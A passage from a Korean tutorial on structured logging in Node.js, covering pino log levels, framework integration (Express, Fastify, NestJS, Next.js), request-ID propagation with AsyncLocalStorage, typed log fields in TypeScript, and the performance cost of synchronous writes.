절대 하지 말 것 — 같은 뜻을 userId · user_id · uid 로 섞어 쓰기. 수집기에서 서로 다른 필드가 되고, Elasticsearch 라면 매핑 폭발로 색인이 느려집니다. 필드 사전을 저장소에 파일로 두고 리뷰에서 확인하세요.

레벨 설계 — 환경마다 다른 답 🟡 중급

레벨 × 환경 — 초록은 켜세요, 붉은색은 끄세요 (가운데는 판단) 로컬 개발 CI · 테스트 스테이징 운영 평상시 운영 장애 대응 fatal 켬 켬 켬 켬 켬 error 켬 켬 켬 켬 켬 warn 켬 켬 켬 켬 켬 info 켬 끔 켬 켬 · 기본값 켬 debug 켬 실패할 때만 켬 끔 일시적으로 켬 trace 켬 끔 끔 절대 끔 표본만 끄세요 켜세요 — 가운데는 무채색, 즉 판단이 필요한 칸입니다 운영에서 trace 를 켜면 로그 비용이 자릿수로 뜁니다 — 표본 추출로만 여세요 레벨은 코드가 아니라 환경변수로 바꿉니다 — 배포 없이 올릴 수 있어야 합니다
발산 매트릭스 — 가운데가 무채색이라 “켤까 말까”인 칸이 눈에 바로 들어옵니다.

여섯 레벨의 뜻을 팀에서 합의하기

레벨이럴 때누가 보나
fatal프로세스를 더 못 살린다 — 곧 죽는다즉시 호출(페이지)
error이 요청은 실패했고 우리 잘못일 수 있다알림 · 당번
warn지금은 넘어갔지만 곧 error 가 될 신호 (재시도 성공, 폴백)주간 리뷰
info업무상 사건 — 주문 결제됨, 배포 시작됨조사할 때
debug개발자가 흐름을 따라가려는 값버그 잡을 때만
trace한 함수 안의 시시콜콜한 값거의 안 봄
가장 흔한 오용 — 사용자 입력이 틀린 것을 error 로 찍는 것. 400·404 는 정상 동작입니다. 이걸 error 로 두면 알림이 계속 울려 진짜 error 를 아무도 안 보게 됩니다. “내가 고쳐야 할 일인가”가 error 의 기준입니다.

배포 없이 레벨 올리기 · 일부만 자세히 보기

// ① 환경변수 — 가장 기본. 재시작만으로 바뀝니다
const logger = pino({ level: process.env.LOG_LEVEL ?? 'info' });

// ② 신호로 런타임에 바꾸기 — 재시작도 없이
process.on('SIGUSR2', () => {
  logger.level = logger.level === 'debug' ? 'info' : 'debug';
  logger.warn({ level: logger.level }, 'log level toggled');
});
// $ kill -SIGUSR2 <pid>

// ③ 표본만 자세히 — 1% 요청만 debug 로 (비용을 100분의 1로)
const sampled = Math.random() < 0.01;
const reqLog = logger.child(
  { reqId, sampled },
  { level: sampled ? 'debug' : 'info' },      // 자식 로거만 레벨을 올립니다
);

// ④ 특정 사용자·테넌트만 자세히 — 재현 안 되는 버그를 잡을 때
const verbose = DEBUG_USERS.has(userId);
const userLog = logger.child({ userId }, { level: verbose ? 'trace' : 'info' });
③ 이 실무의 답입니다 — “운영에서 debug 를 켜면 비용이 터지고, 끄면 원인을 못 찾는다”는 딜레마는 표본 추출로 풉니다. sampled: true 필드를 함께 남겨 두면 대시보드에서 표본 요청만 골라 보기도 됩니다.

실무에선 이렇게 — 필드 사전을 코드로 두기 🔴 실무

이름을 파일 하나에 모으면 오타가 컴파일 에러가 됩니다

// src/log-fields.ts — 팀의 필드 사전. 리뷰는 이 파일만 보면 됩니다.
export const FIELD = {
  reqId:      'reqId',       // 요청 하나를 잇는 ID (lg07)
  traceId:    'traceId',     // 분산 추적 ID (lg12)
  userId:     'userId',      // 내부 식별자만. 이메일·전화번호 금지 (lg10)
  tenantId:   'tenantId',
  event:      'event',       // 'order.paid' 같은 사건 이름
  durationMs: 'durationMs',  // ★ 단위를 이름에 붙입니다. ms 인지 s 인지 헷갈리지 않게
  statusCode: 'statusCode',
  component:  'component',   // 'db' | 'http' | 'queue'
} as const;

// 사건 이름도 목록으로 — 대시보드가 이 목록 위에 세워집니다
export const EVENT = [
  'order.created', 'order.paid', 'order.cancelled',
  'payment.failed', 'payment.retried',
  'user.login', 'user.login_failed',
] as const;
export type Event = (typeof EVENT)[number];
왜 굳이 파일로 두나 — 로그 필드는 공개 API 와 같습니다. 대시보드·알림 규칙·데이터 분석이 전부 이 이름 위에 세워지므로, 이름을 바꾸는 것은 API 를 바꾸는 것입니다. 코드로 두면 바꿀 때 어디가 깨지는지 컴파일러가 알려 줍니다(lg08).
단위는 이름에 넣으세요 — duration 이 아니라 durationMs, size 가 아니라 sizeBytes. 6개월 뒤 대시보드를 만드는 사람은 여러분이 아닙니다.
정리 — 필드가 곧 검색어입니다. 값은 문장에 녹이지 말고 필드로 빼고, 이름은 팀에서 한 번만 정해 파일로 남깁니다. 레벨은 환경마다 다른 답이 있고, 운영에서 자세히 보고 싶으면 표본 추출로 켭니다.
LOG 06

프레임워크 연동 — 붙이는 자리는 어디나 같습니다

Express · Fastify · NestJS · Next.js — 이름은 달라도 로거를 붙이는 자리는 셋뿐입니다. 요청 진입 · 요청 스코프 로거 · 응답 완료. 프레임워크마다 그 자리의 이름만 다릅니다.

붙이는 자리는 셋 — 프레임워크마다 이름만 다릅니다 HTTP 요청 도착 reqId 헤더가 있으면 그대로 이어받습니다 요청 진입 훅 Express: pino-http · Fastify: 내장 요청 스코프 자식 로거 logger.child({ reqId }) — 한 번만 핸들러 · 서비스 · DAO Nest: nestjs-pino 가 주입해 줍니다 응답 완료 훅 status · durationMs 한 줄 요청 방향 Next.js 엣지 런타임에는 응답 완료 훅이 없습니다 — 접근 로그를 직접 못 만듭니다 프레임워크가 달라도 그림은 같습니다 — 자리 이름만 갈아 끼우세요
레이어 — 화살표는 한 방향. 요청 스코프 로거는 딱 한 번만 만듭니다.

Express — pino-http 한 줄

npm i pino pino-http
import express from 'express';
import pinoHttp from 'pino-http';
import { randomUUID } from 'node:crypto';
import { logger } from './logger.js';

const app = express();

app.use(pinoHttp({
  logger,

  // ① 요청 ID — 앞단(로드밸런서·게이트웨이)이 준 것을 최대한 이어받습니다
  genReqId: (req, res) => {
    const id = req.headers['x-request-id'] ?? randomUUID();
    res.setHeader('x-request-id', String(id));   // 응답에도 돌려줍니다
    return String(id);
  },

  // ② 상태코드에 따라 레벨을 다르게 — 404 를 error 로 두지 않습니다
  customLogLevel: (req, res, err) => {
    if (err || res.statusCode >= 500) return 'error';
    if (res.statusCode >= 400) return 'warn';
    if (req.url === '/healthz') return 'silent';   // ★ 헬스체크는 버립니다
    return 'info';
  },

  // ③ 남길 것만 남깁니다 (전체 req 를 찍으면 헤더가 통째로 샙니다 — lg10)
  serializers: {
    req: (req) => ({ method: req.method, url: req.url }),
    res: (res) => ({ statusCode: res.statusCode }),
  },
}));

app.get('/orders/:id', (req, res) => {
  req.log.info({ orderId: req.params.id }, 'order fetched');   // ★ req.log
  res.json({ ok: true });
});
morgan 은 접근 로그 전용입니다 — morgan('combined') 이 만드는 건 아파치 형식의 한 줄 텍스트라 JSON 이 아니고, 애플리케이션 로그와 ID 로 이어지지도 않습니다. 옛 프로젝트에서 만나면 pino-http 로 대체하는 게 맞습니다. 굳이 둘 다 쓰면 같은 요청이 두 줄로 남아 비용만 늘어납니다.

Fastify — 이미 들어 있습니다

import Fastify from 'fastify';

const app = Fastify({
  logger: {
    level: process.env.LOG_LEVEL ?? 'info',
    // 개발에서만 예쁘게
    transport: process.env.NODE_ENV !== 'production'
      ? { target: 'pino-pretty' } : undefined,
  },
  genReqId: (req) => String(req.headers['x-request-id'] ?? crypto.randomUUID()),
  disableRequestLogging: false,   // 기본 접근 로그를 끄고 직접 만들 수도 있습니다
});

app.get('/orders/:id', async (req, reply) => {
  req.log.info({ orderId: (req.params as any).id }, 'order fetched');
  //  ↑ 이미 reqId 가 붙은 자식 로거입니다. 설정할 게 없습니다
  return { ok: true };
});

// 앱 전역 로거도 같은 인스턴스입니다
app.log.warn({ port: 3000 }, 'starting');

NestJS — nestjs-pino

// app.module.ts
import { LoggerModule } from 'nestjs-pino';

@Module({
  imports: [LoggerModule.forRoot({
    pinoHttp: {
      level: process.env.LOG_LEVEL ?? 'info',
      genReqId: (req) => String(req.headers['x-request-id'] ?? randomUUID()),
      autoLogging: { ignore: (req) => req.url === '/healthz' },
    },
  })],
})
export class AppModule {}

// main.ts — Nest 기본 로거를 갈아 끼웁니다
const app = await NestFactory.create(AppModule, { bufferLogs: true });
app.useLogger(app.get(Logger));

// 서비스 어디서나 주입해서 씁니다 — reqId 가 자동으로 붙습니다
@Injectable()
export class OrderService {
  constructor(private readonly log: PinoLogger) {}
  pay(id: string) { this.log.info({ orderId: id }, 'order paid'); }
}
Nest 의 기본 Logger 는 개발용입니다 — 색이 들어간 텍스트를 찍습니다. bufferLogs: true 로 부팅 로그까지 pino 로 넘기는 것이 요령입니다. 이걸 빼면 시작 직후의 로그만 형식이 다릅니다.

Next.js — 런타임이 셋이라 답도 셋입니다 🔴 실무

어디서 도는 코드인지부터 확인

실행 위치pino 되나답
서버 컴포넌트 · Route Handler됩니다pino 그대로. 단 transport 는 신중히
Server Action됩니다같은 로거 재사용
미들웨어(엣지)안 됩니다구조를 맞춘 console.log
Edge Runtime route안 됩니다같은 이유 — worker_threads·fs 없음
클라이언트 컴포넌트—브라우저 로깅(lg11)
가장 흔한 사고 — 서버 로거를 클라이언트 컴포넌트에서 import 하는 것. 번들에 pino 가 통째로 딸려 들어가거나 빌드가 깨집니다. npm i server-only 후 로거 파일 맨 위에 import 'server-only' 한 줄을 두면 실수하는 순간 빌드가 막아 줍니다.

엣지에서 쓸 수 있는 최소 로거

// src/edge-logger.ts — 의존성 0. 어디서나 돕니다
type Level = 'debug' | 'info' | 'warn' | 'error';
const ORDER: Record<Level, number> = { debug: 20, info: 30, warn: 40, error: 50 };
const MIN = ORDER[(process.env.LOG_LEVEL as Level) ?? 'info'];

export function elog(level: Level, fields: Record<string, unknown>, msg: string) {
  if (ORDER[level] < MIN) return;                      // 레벨 조기 반환
  const line = JSON.stringify({
    level, time: new Date().toISOString(), msg,
    service: 'web', env: process.env.VERCEL_ENV, ...fields,
  });
  // 엣지에는 stdout 이 없습니다 — 플랫폼이 console 을 수집합니다
  (level === 'error' || level === 'warn' ? console.error : console.log)(line);
}

// middleware.ts (엣지 런타임. Next 16 의 proxy.ts 는 Node 런타임이라 pino 를 그대로 씁니다)
export function middleware(req: NextRequest) {
  const reqId = req.headers.get('x-request-id') ?? crypto.randomUUID();
  elog('info', { reqId, path: req.nextUrl.pathname }, 'edge request');

  // ★ 아래 런타임(라우트·서버 컴포넌트)으로 넘기려면 "요청" 헤더를 바꿔야 합니다
  const headers = new Headers(req.headers);
  headers.set('x-request-id', reqId);
  const res = NextResponse.next({ request: { headers } });
  res.headers.set('x-request-id', reqId);   // 응답 헤더 — 브라우저에게 돌려주는 쪽
  return res;
}
핵심은 “형식을 맞추는 것”입니다 — 엣지에서도 같은 필드 이름의 JSON 한 줄을 console.log 로 찍으면 수집기 입장에서는 pino 와 구별되지 않습니다. 로거 라이브러리가 아니라 출력 형식이 계약입니다.
정리 — 붙이는 자리는 요청 진입 · 요청 스코프 로거 · 응답 완료 셋뿐입니다. Express 는 pino-http, Fastify 는 내장, Nest 는 nestjs-pino, Next.js 는 런타임부터 확인하고 엣지에서는 형식만 맞춘 console 로 갑니다.
LOG 07

요청 추적 — AsyncLocalStorage 로 ID 를 자동으로 붙입니다

요청 ID 를 함수 인자로 계속 나르는 코드는 세 번째 계층에서 무너집니다. Node 는 “지금 처리 중인 요청”을 비동기 호출을 따라 들고 다니는 저장소를 표준으로 제공합니다.

세로가 시간 — reqId 는 인자로 나르지 않고 저장소가 들고 다닙니다 클라이언트 미들웨어 서비스 · DAO 로거 1. POST /orders — x-request-id 확인 2. als.run({ reqId }, next) — 컨텍스트 시작 3. createOrder(dto) — reqId 를 넘기지 않습니다 4. logger.info({ orderId }, 'created') 5. mixin() 이 reqId 를 자동으로 붙임 6. 응답 201 Created 7. 완료 훅 — statusCode · durationMs 한 줄 3번에서 reqId 를 안 넘겼는데 4번 로그에는 들어 있습니다 — 그게 저장소의 일입니다 실선은 요청 · 점선은 응답 — 세로 막대는 그 참가자가 일하고 있는 구간
시퀀스 — 인자로 나르지 않는데 붙어 있는 것이 이 절의 전부입니다.

저장소 만들기 — 표준 모듈, 의존성 0

// src/request-context.ts
import { AsyncLocalStorage } from 'node:async_hooks';

export interface RequestContext {
  reqId: string;
  userId?: string;
  traceId?: string;
  spanId?: string;
}

const als = new AsyncLocalStorage<RequestContext>();

/** 이 콜백 안에서 일어나는 모든 비동기 작업이 같은 문맥을 봅니다 */
export function runWithContext<T>(ctx: RequestContext, fn: () => T): T {
  return als.run(ctx, fn);
}

/** 어디서든 꺼내 씁니다. 문맥 밖이면 undefined */
export const getContext = () => als.getStore();

/** 처리 도중에 알게 된 값을 덧붙이기 (로그인 후 userId 등) */
export function setContext(patch: Partial<RequestContext>) {
  const cur = als.getStore();
  if (cur) Object.assign(cur, patch);   // ★ 같은 객체를 고칩니다. 새로 run 하지 않습니다
}
이게 왜 되나 — Node 는 await·setTimeout·이벤트 콜백을 만들 때 지금의 문맥을 함께 기억해 둡니다. 그래서 몇 겹을 들어가도 같은 저장소가 보입니다. Node 22~24 를 거치며 내부 구현이 바뀌어 비용이 크게 줄었습니다 — 예전에 “ALS 는 느리다”고 들은 이야기는 대부분 낡은 정보입니다.

로거에 붙이기 — mixin 한 줄

// src/logger.ts
import pino from 'pino';
import { getContext } from './request-context.js';

export const logger = pino({
  level: process.env.LOG_LEVEL ?? 'info',
  base: { service: 'checkout-api', env: process.env.NODE_ENV },

  // ★ 줄을 쓸 때마다 호출됩니다 — 여기서 문맥을 꺼내 붙입니다
  mixin() {
    const ctx = getContext();
    return ctx ? { reqId: ctx.reqId, userId: ctx.userId, traceId: ctx.traceId } : {};
  },
});

// 이제 앱 어디서든 그냥 이렇게 씁니다
logger.info({ orderId: 8821 }, 'order paid');
// → { ..., reqId: "req_01J8Q", userId: "u_8821", orderId: 8821, msg: "order paid" }
// Express 에 연결
app.use((req, res, next) => {
  const reqId = String(req.headers['x-request-id'] ?? randomUUID());
  res.setHeader('x-request-id', reqId);
  runWithContext({ reqId }, () => next());   // ★ next() 를 감싸는 것이 핵심
});

// Fastify
app.addHook('onRequest', (req, reply, done) => {
  runWithContext({ reqId: req.id }, () => done());
});

// NestJS — 미들웨어로 같은 모양
export class ContextMiddleware implements NestMiddleware {
  use(req: Request, res: Response, next: NextFunction) {
    runWithContext({ reqId: String(req.headers['x-request-id'] ?? randomUUID()) },
      () => next());
  }
}
mixin 과 child 중 무엇을 쓰나 — 문맥을 로거 인스턴스를 넘기지 않고 쓰고 싶으면 mixin, 로거를 명시적으로 넘길 수 있으면 child 가 더 빠릅니다(고정 필드를 미리 굳혀 두므로). 실무에서는 둘을 같이 씁니다 — 요청 로거는 child, 깊은 곳은 mixin.

문맥이 사라지는 자리 — 여기서만 조심하면 됩니다 🟡 중급

끊기는 네 가지 경우

// ① 서버 시작 시 한 번 만든 타이머·구독 — 애초에 문맥 밖입니다
setInterval(() => logger.info('heartbeat'), 60_000);   // reqId 없음. 정상입니다

// ② 요청 밖으로 "떠난" 작업 — 응답을 보내고 나서도 도는 코드
app.post('/orders', (req, res) => {
  res.json({ ok: true });
  queueMicrotask(() => heavyAudit());   // 문맥은 살아 있습니다(같은 비동기 사슬)
  setTimeout(() => heavyAudit(), 0);    // 이것도 살아 있습니다
});

// ③ ✗ 진짜로 끊기는 곳 — 다른 사슬에 등록된 콜백
const emitter = new EventEmitter();          // 앱 시작 때 만든 객체
emitter.on('done', () => logger.info('x'));  // ← emit 을 부른 쪽의 문맥을 씁니다
//   (라이브러리 내부 콜백에서 emit 되면 =없음, 남의 요청에서 emit 되면 =남의 reqId)
// 해결: 값을 미리 꺼내서 클로저에 담습니다
const { reqId } = getContext() ?? {};
emitter.on('done', () => logger.info({ reqId }, 'x'));

// ④ ✗ 워커 스레드 · 자식 프로세스 — 메모리를 공유하지 않습니다
worker.postMessage({ reqId, payload });      // 값으로 직접 넘겨야 합니다
판단 기준 한 줄 — “이 콜백은 요청 처리 중에 만들어졌는가?” 요청 처리 중에 만든 프로미스·타이머·스트림은 문맥을 물려받고, 서버 시작 때 만들어 둔 객체(이미터·커넥션 풀)의 콜백은 그 객체를 깨운 쪽의 문맥을 따르므로 믿을 수 없습니다.

한 줄로 요청 전체를 되짚기

# 장애 신고: "결제가 안 됐어요. 오후 3시 12분쯤"
# ① 사용자에게 응답 헤더의 x-request-id 를 물어봅니다 (또는 에러 화면에 표시)
# ② 그 ID 하나로 전 구간을 긁습니다

# Loki (LogQL)
{service="checkout-api"} | json | reqId="req_01J8QK4T9"

# OpenSearch / Elasticsearch
GET logs-*/_search
{ "query": { "term": { "reqId": "req_01J8QK4T9" } },
  "sort": [{ "time": "asc" }] }

# 그냥 파일이라면
jq -c 'select(.reqId=="req_01J8QK4T9")' app.log
ID 를 사용자에게 보여 주세요 — 500 에러 화면에 “오류 코드: req_01J8QK4T9” 한 줄을 넣어 두면 고객센터에서 스크린샷 한 장으로 조사가 시작됩니다. 이것 하나가 장애 대응 시간을 크게 줄입니다.
ID 는 앞단에서 이어받으세요 — 로드밸런서·CDN·API 게이트웨이가 이미 x-request-id(또는 traceparent)를 붙여 보냅니다. 있으면 쓰고 없으면 만드는 것이 규칙입니다. 새로 만들어 버리면 앞단 로그와 이어지지 않습니다.

실무에선 이렇게 — 여러 서비스를 하나로 잇기 🔴 실무

우리 서비스가 다른 서비스를 부를 때 ID 를 함께 보냅니다

// src/http-client.ts — 모든 바깥 호출이 이 함수를 거치게 합니다
import { getContext } from './request-context.js';
import { logger } from './logger.js';

export async function call(url: string, init: RequestInit = {}) {
  const ctx = getContext();
  const t0 = performance.now();

  const headers = new Headers(init.headers);
  if (ctx?.reqId) headers.set('x-request-id', ctx.reqId);   // ★ 그대로 전달
  if (ctx?.traceId && ctx.spanId) headers.set('traceparent',   // span ID 가 0 뿐이면 무효
    `00-${ctx.traceId}-${ctx.spanId}-01`);                     // W3C Trace Context

  try {
    const res = await fetch(url, { ...init, headers });
    logger.info({
      event: 'http.call', url, statusCode: res.status,
      durationMs: Math.round(performance.now() - t0),
    }, 'outbound call');
    return res;
  } catch (err) {
    logger.error({ event: 'http.call_failed', url, err }, 'outbound call failed');
    throw err;
  }
}
이 함수 하나가 세 가지를 동시에 해결합니다 — ① 다음 서비스의 로그가 같은 reqId 를 갖습니다 ② 바깥 호출의 지연이 자동으로 측정됩니다 ③ 실패가 한 곳에서만 기록되어 중복 로그가 사라집니다. 바깥으로 나가는 길을 하나로 모으는 것이 관측의 첫걸음입니다.
OpenTelemetry 를 이미 쓴다면 ID 를 직접 만들지 마세요 — @opentelemetry/api 의 trace.getActiveSpan()?.spanContext() 에서 traceId·spanId 를 꺼내 mixin 에 넣으면 로그와 트레이스가 대시보드에서 한 번에 이어집니다(lg12). OTel 도 내부적으로 같은 비동기 문맥 전파를 씁니다.
정리 — AsyncLocalStorage 로 요청 문맥을 담고 pino 의 mixin 으로 꺼내 붙이면 reqId 를 인자로 나를 필요가 없습니다. 끊기는 곳은 서버 시작 때 만든 객체의 콜백과 워커 스레드뿐입니다.
LOG 08

TypeScript — 로그도 타입으로 잠글 수 있습니다

로그 필드는 공개 API입니다. 그런데 대부분 Record<string, any> 로 열어 두고 오타를 6개월 뒤 대시보드에서 발견합니다. 컴파일러에게 시키면 될 일입니다.

같은 코드, 다른 안전장치 — 왼쪽은 전부 통과합니다 타입이 없는 로거 log.info('paid ' + id) log.info({ userid: id }) log.info({ ms: '37' }) log.error(err.message) log.info(user) 오타 · 타입 · 이름 — 전부 런타임까지 안 보입니다 타입으로 잠근 로거 type Ev = 'order.paid' | 'user.login' interface F { reqId: string; userId?: string; ms?: number } function log(f: F, e: Ev): void log({ userId, ms: 37 }, 'order.paid') 이름이 틀리면 컴파일이 막습니다 타입은 로그를 느리게 만들지 않습니다 — 컴파일 뒤에는 사라집니다 대시보드가 깨지는 것을 배포 전에 잡는 것이 목적입니다
좌우 대조 — 로그 필드는 공개 API입니다. API 를 any 로 두지는 않잖아요.

레벨과 사건 이름을 리터럴 유니온으로

// src/log-types.ts
export type Level = 'trace' | 'debug' | 'info' | 'warn' | 'error' | 'fatal';

// 사건 이름 목록 — 대시보드가 이 위에 세워집니다
export const EVENTS = [
  'order.created', 'order.paid', 'order.cancelled',
  'payment.failed', 'payment.retried',
  'user.login', 'user.login_failed',
  'http.call', 'http.call_failed',
] as const;
export type Event = (typeof EVENTS)[number];

// 필드 사전 — 여기 없는 키는 못 넣습니다
export interface LogFields {
  event?: Event;
  reqId?: string;
  traceId?: string;
  userId?: string;         // ★ 내부 식별자만. 이메일이 들어오면 lg10 의 사고
  orderId?: number;
  statusCode?: number;
  durationMs?: number;     // 단위를 이름에 (lg05)
  component?: 'db' | 'http' | 'queue' | 'cache';
  err?: unknown;
}

// 타입 안전한 얇은 래퍼
import { logger } from './logger.js';
export const log = {
  info : (f: LogFields, msg: string) => logger.info(f, msg),
  warn : (f: LogFields, msg: string) => logger.warn(f, msg),
  error: (f: LogFields, msg: string) => logger.error(f, msg),
  debug: (f: LogFields, msg: string) => logger.debug(f, msg),
};

log.info({ event: 'order.paid', orderId: 8821, durationMs: 37 }, 'order paid');
log.info({ userid: 1 }, 'x');   // ✗ 컴파일 에러 — 'userid' 는 LogFields 에 없습니다
log.info({ event: 'order.payed' }, 'x');   // ✗ 오타가 여기서 잡힙니다
“초과 속성 검사”가 여기서 일을 합니다 — 객체 리터럴을 바로 넘길 때만 없는 키를 잡아 줍니다. const f = { userid: 1 }; log.info(f, 'x') 는 통과합니다. 그래서 로그 필드는 변수에 담지 말고 그 자리에서 리터럴로 넘기는 습관이 유리합니다.

pino 의 타입을 제대로 쓰기

import pino from 'pino';

// ① 커스텀 레벨을 제네릭으로 알려 주면 자동완성에 나옵니다
const logger = pino<'audit' | 'security'>({
  customLevels: { audit: 35, security: 45 },
  useOnlyCustomLevels: false,
});
logger.audit({ actor: 'u_1' }, 'permission changed');   // ○ 타입이 압니다
logger.aduit({}, 'x');                                  // ✗ 컴파일 에러

// ② 자식 로거의 타입은 그대로 이어집니다
type AppLogger = pino.Logger<'audit' | 'security'>;
export function makeReqLogger(reqId: string): AppLogger {
  return logger.child({ reqId });
}

// ③ 직렬화기에도 타입을 답니다 — any 를 두면 여기가 구멍이 됩니다
const logger2 = pino({
  serializers: {
    err: pino.stdSerializers.err,
    req: (req: { method: string; url: string }) => ({ method: req.method, url: req.url }),
  },
});

// ④ 로그로 나가면 안 되는 타입을 타입 시스템으로 막기 (lg10 의 예방책)
//    ※ string & { 브랜드 } 는 여전히 string 이라 아래 검사를 통과해 버립니다 — 객체로 감쌉니다
export class Secret<T> {
  readonly #value: T;
  constructor(v: T) { this.#value = v; }
  reveal(): T { return this.#value; }          // 꺼낼 때는 이름이 드러나게
  toJSON() { return '[REDACTED]'; }            // 그래도 새면 런타임에서 한 번 더 가립니다
}
export const asSecret = <T,>(v: T) => new Secret(v);

interface SafeFields { [k: string]: string | number | boolean | undefined }
function safeLog(f: SafeFields, msg: string) { logger.info(f, msg); }

const token = asSecret('eyJhbGciOi...');
safeLog({ token }, 'x');   // ✗ Secret<string> 은 SafeFields 에 안 맞습니다
④ 가 실무에서 가장 값어치가 큽니다 — 토큰·비밀번호·주민번호를 담는 값을 Secret 으로 감싸 두면 실수로 로그에 넣는 순간 컴파일이 막습니다. 런타임 마스킹(lg10)은 마지막 그물이고, 이건 애초에 안 담기게 하는 방법입니다.

한 단계 더 — 사건마다 필요한 필드를 강제하기 🟡 중급

“결제 실패 로그에는 orderId 가 반드시 있어야 한다”를 타입으로

// 사건별로 필요한 필드를 묶습니다 (판별 유니온)
type LogEvent =
  | { event: 'order.paid';      orderId: number; durationMs: number }
  | { event: 'payment.failed';  orderId: number; reason: string; err?: unknown }
  | { event: 'user.login';      userId: string }
  | { event: 'user.login_failed'; reason: 'bad_password' | 'locked' | 'unknown' };

// 공통 필드는 자동으로 붙으니(mixin) 여기엔 사건 고유 필드만 둡니다
export function event(e: LogEvent, msg?: string) {
  const { event, ...rest } = e;
  logger.info({ event, ...rest }, msg ?? event);
}

event({ event: 'order.paid', orderId: 8821, durationMs: 37 });         // ○
event({ event: 'payment.failed', orderId: 8821 });                     // ✗ reason 이 없습니다
event({ event: 'user.login_failed', reason: 'expired' });              // ✗ 허용된 값이 아닙니다

// 대시보드 쪽 쿼리도 같은 타입에서 만들 수 있습니다
export const EVENT_NAMES = [
  'order.paid', 'payment.failed', 'user.login', 'user.login_failed',
] as const satisfies readonly LogEvent['event'][];
// ★ satisfies — 목록에 오타·없는 사건 이름이 들어가면 여기서 컴파일이 막습니다
//   (빠진 사건은 satisfies 로는 못 잡습니다 — 빠짐까지 막으려면 한 줄 더)
type Missing = Exclude<LogEvent['event'], (typeof EVENT_NAMES)[number]>;
const _allEvents: [Missing] extends [never] ? true : Missing = true;   // 빠지면 에러
과하지 않나요? — 사건이 열 개 미만인 서비스라면 과합니다. 하지만 알림 규칙이 붙은 사건이나 매출·정산 분석의 근거가 되는 사건은 이렇게 잠가 두는 편이 좋습니다. “그 필드가 없어서 분석을 못 했다”는 지난달 로그로는 되돌릴 수 없습니다.
타입이 런타임을 지켜 주지는 않습니다 — 외부 API 응답이나 DB 행처럼 타입 주장(as)만 붙인 값은 실제로 무엇이 들었는지 컴파일러도 모릅니다. 그런 값을 통째로 로그에 넣는 순간 lg10 의 사고가 납니다. 필드로 골라 담는 습관이 결국 답입니다.
정리 — 레벨은 리터럴 유니온, 필드는 인터페이스, 사건은 판별 유니온으로 잠급니다. 타입은 컴파일 뒤 사라지므로 런타임 비용이 0이고, 비밀 값을 Secret 으로 감싸면 로그에 담기는 것 자체를 막을 수 있습니다.
LOG 09

성능 — 동기 쓰기는 이벤트 루프를 멈춥니다

Node 는 스레드가 하나입니다. 로그 한 줄을 디스크에 다 쓸 때까지 기다리는 동안 그 프로세스의 다른 요청도 전부 기다립니다. 로깅 성능 이야기는 결국 “그 기다림을 어디로 치우나”입니다.

POST /orders 한 요청 37 ms — 동기 로그 쓰기가 어디를 먹나 (예시 수치) 0 10 20 30 40 ms 인증 · 파싱 2 ms DB 조회 (await) 18 ms — 루프는 자유 응답 조립 3 ms 로그 4줄 · 동기 write 12 ms — 루프 정지 응답 전송 2 ms 붉은 구간 동안 이 프로세스의 다른 요청도 전부 기다립니다 — 흐린 막대는 루프가 자유로운 시간 로그를 비동기로 돌리면 붉은 구간이 1 ms 아래로 내려갑니다 — 처리량이 그만큼 돌아옵니다 수치는 예시입니다 — 디스크 · 플랫폼 · 줄 길이에 따라 다르니 아래 코드로 직접 재세요
워터폴 — 붉은 구간에서 루프가 멈춥니다. 그동안 같은 프로세스의 다른 요청도 기다립니다.

직접 재기 — 이벤트 루프 지연을 숫자로

// bench-log.ts — 같은 줄 10만 개를 세 방식으로 쓰고 루프 지연을 잽니다
import { monitorEventLoopDelay } from 'node:perf_hooks';
import pino from 'pino';

const N = 100_000;
const line = { orderId: 8821, userId: 'u_8821', durationMs: 37 };

async function run(name: string, logger: pino.Logger) {
  const h = monitorEventLoopDelay({ resolution: 5 });   // 5ms 간격으로 루프 지연 표본
  h.enable();
  const t0 = performance.now();
  for (let i = 0; i < N; i++) logger.info(line, 'order paid');
  const wall = performance.now() - t0;
  await new Promise((r) => setTimeout(r, 50));         // 표본이 잡히도록 잠깐
  h.disable();
  console.error(`${name.padEnd(16)} ${wall.toFixed(0).padStart(5)} ms  ` +
    `p99 루프지연 ${(h.percentile(99) / 1e6).toFixed(1)} ms`);
}

// ① 파일에 동기로 — 가장 느리고, 루프가 가장 오래 멈춥니다
await run('file sync', pino(pino.destination({ dest: './a.log', sync: true })));

// ② 파일에 비동기 버퍼로 — sonic-boom 이 4KB 씩 모아서 씁니다
await run('file async', pino(pino.destination({ dest: './b.log', sync: false, minLength: 4096 })));

// ③ 워커 스레드 트랜스포트 — 메인 스레드는 큐에 넣기만 합니다
await run('transport', pino({ transport: { target: 'pino/file', options: { destination: './c.log' } } }));

// $ npx tsx bench-log.ts        ← 세 줄의 숫자를 여러분 환경에서 보세요
숫자를 여기 적지 않는 이유 — SSD 냐 네트워크 디스크냐, 컨테이너냐 맥북이냐에 따라 자릿수가 바뀝니다. 확실한 것은 순서뿐입니다: 동기 파일 쓰기가 가장 느리고 루프를 가장 오래 세우며, 워커 트랜스포트가 메인 스레드 부담이 가장 적습니다. p99 루프지연 이 요청 지연에 그대로 얹히는 숫자입니다.

쓰기 방식 네 가지 — 무엇을 얻고 무엇을 잃나

방식루프 정지죽을 때 유실언제
sync: true (직접 켤 때)줄마다 — 목적지가 빠르면 짧게없음stdout 으로 나가는 컨테이너 · 짧은 CLI
sync: false + minLength버퍼가 찰 때만버퍼만큼 (flush 로 막음)파일에 직접 쓰는 VM 서버
transport (워커)거의 없음워커 큐만큼포맷·전송 비용이 클 때(원격·pretty)
console.log → 파일 리다이렉트줄마다 · 길게없음운영에서는 쓰지 않습니다(lg01)
pino 의 기본값은 무엇인가 — pino() 의 기본 목적지는 sync: false · minLength: 0 인 sonic-boom 입니다. 모아 두지 않고 곧바로 비동기 write 를 걸기 때문에 루프가 거의 멈추지 않고, 죽을 때 잃는 것도 진행 중인 write 만큼으로 작습니다(정상 종료 때는 pino 가 알아서 비웁니다). 그래서 컨테이너에서는 기본값 그대로가 제일 단순하며, 파일에 직접 쓸 때만 minLength 로 더 모을지 고민합니다.
유실과 지연은 맞바꾸는 것입니다 — 비동기로 돌리면 빠르지만 kill -9 나 OOM 으로 죽을 때 마지막 몇 줄이 사라집니다. 그 마지막 줄이 대개 “왜 죽었는지”입니다. SIGTERM 에서 flush 하는 코드(lg03)가 그래서 필요합니다.

한 단계 더 — 뒤가 막히면 앞이 멈춥니다 (백프레셔) 🟡 중급

stdout 을 읽는 쪽이 느려지면

# 앱 → 파이프 → 컨테이너 로그 드라이버 → 파일. 이 사슬 어디가 막혀도
